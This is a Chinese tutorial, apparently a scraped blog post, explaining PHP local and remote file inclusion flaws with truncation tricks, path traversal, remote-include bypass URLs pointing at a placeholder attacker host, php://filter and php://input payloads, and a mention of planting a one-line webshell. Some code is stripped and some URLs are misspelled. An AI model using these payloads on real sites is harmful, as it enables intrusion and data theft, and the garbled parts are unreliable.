web安全之文件包含漏洞

大多数Web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,所以包含漏洞经常出现在PHP语言中。

1 PHP文件包含

1.1 原理

PHP中提供了四个文件包含的函数,分别是include()、include_once()、 require()和require_ once()。这四个函数都可以进行文件包含,但作用却不一样,其区别如下:

●require 找不到被包含的文件时会产生致命错误(E COMPILE ERROR),并停止脚本;

●include 找不到被包含的文件时只会产生警告(E _WARNING),脚本将继续执行:

●include_ once:此语句和include()语句类似,唯区别是 如果该文件中的代码已经被包含,则不会再次包含;

●require _once: 此行语句和require()语句类似, 唯一 区别是如果该文件中的代码已经被包含,则不会再次包含。

当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有用。

1.2 本地文件包含LFI

则可以利用http://xxx.com/test=C:/WWWRooot/phpinfo.php访问本地的任意文件。

当然本地文件包含通常要结合截断攻击和任意目录游览攻击。

截断攻击:

当PHP版本小于5.3.4时,可以使用%00阶段后面的字符串,如test=C:/WWWRooot/phpinfo.php%00

PHP语言需要使用底层的C语言进行处理,C语言中的字符串结尾有个’/0’字符,作为阶段用。

还可以使用目录截断,操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。目录字符串,在Windows下256字节、Linux 下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。如何构造出

./././././././././././././abc

或者

/////////////////abc

或者

. ./1/abc/../1/abc/../1/abc

目录遍历:

使用了././这样的方式来返回到上层目录中,这种方式又被称为“目录遍历”(Path Traversal)。常见的目录遍历漏洞,还可以通过不同的编码方式来实现:

web安全之文件包含漏洞_第1张图片

在Windows下多个目录应当用分号隔开,在Linux下则用冒号隔开。

修复方式:

要解决文件包含漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。一种变通方式,则是使用switch枚举。

1.3 远程文件包含

allow_url_fopen = On,该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:On,该选项为on便是允许 包含URL 对象文件等。

两个配置选项均需要为On,才能远程包含文件成功。

include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Remote File Inclusion,简称RFI)。

则可以利用http://xxx.com/test=http://hack:80/write.txt访问远程的任意文件。

绕过姿势

问号绕过:http://xxx.com/test=http://hack:80/write.txt?
#号绕过:http://xxx.com/test=http://hack:80/write.txt%23
空格:http://xxx.com/test=http://hack:80/write.txt%20

BUff跑

2 文件包含的简单利用

1)读取敏感文件

2)远程包含shell

如果目标主机allow_ _url fopen 选项是激活的,就可以尝试远程包含一句话木马,如:http://www.2cto.com/echo.txt,代码如下:

"") ?>

访问:

htp://www.xxser.com/Index.php?page-ttp://www.2cto.com/echo.txt,将会在Index.php所在的目录下生成shell.php,内容为:

3)本地包含配合文件上传

4)使用PHP封装协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

web安全之文件包含漏洞_第2张图片

读取

page=php://filter/read=convert.base64-encode/resource config.php

写入

在allow_url_include;为On时才可以使用, 构造URL:

 http://www.xxser.com/index.php?page= php://input,并且POST方式提交数据为:

5)包含日志

Metasploit中包含了一个脚本自动化完成包含日志文件的攻击。

 

你可能感兴趣的:(网络安全)